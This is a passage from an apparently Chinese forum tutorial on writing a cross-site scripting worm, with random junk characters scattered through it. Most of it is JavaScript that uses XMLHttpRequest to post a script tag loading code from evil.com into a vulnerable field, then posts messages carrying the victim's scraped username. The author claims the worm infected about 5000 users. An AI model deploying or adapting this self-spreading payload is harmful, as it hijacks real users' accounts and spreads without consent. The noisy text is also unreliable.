9 D& q" J6 {% a- J' B复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.4 D `) x; X3 i$ e" R
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no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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6 ^0 I1 X; \. Y1 x( s* Tvar post="wd="+wd;
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.) }7 x; Z L5 ]1 I9 g6 I
. b# C) ]8 |) Y u! LxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");( }2 ^: N+ I! a1 b$ T$ ^8 ~1 H; U
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);5 l' F; S$ H% e1 p3 f! P- R% p
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( o8 D- _# t1 N3 M% `+ t) K+ r复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方% W* }+ _: ?2 b: @
* V& a/ e" X: {" O1 K' t1 C+ bvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.' N* F* o8 m7 |
* y, `9 Y4 m+ ]/ Cvar post="wd="+wd;
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);. p+ F$ z# |; u3 X8 ]' b. W8 [
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");( j* T1 Q; C/ z* D' x4 M
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xmlHttpReq.setRequestHeader("content-length",post.length); 6 @, k( V3 O& ~
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post); //把传播的信息 POST出去.
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------. H& D7 S8 j4 N3 S+ X2 U
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户." r$ A' b9 b0 k, j; M f- ~
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能. v" Y( H. t- ^9 T
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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9 Z$ X/ A6 [% N/ q: j本文引用文档资料:
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) G$ s3 M; L. O7 C$ `& [) I- [% t"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)- b' o9 d% Y3 q
Other XmlHttpRequest tricks (Amit Klein, January 2003)
& j/ `/ r7 U2 |- x* k+ o! p; A" Z7 d. s"Cross Site Tracing" (Jeremiah Grossman, January 2003)8 T8 ]9 h3 a: A; L7 Y% @, _# o, {
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
+ M8 u8 D% c( d空虚浪子心BLOG http://www.inbreak.net: B& `6 e0 s( Q& a- Y
Xeye Team http://xeye.us/
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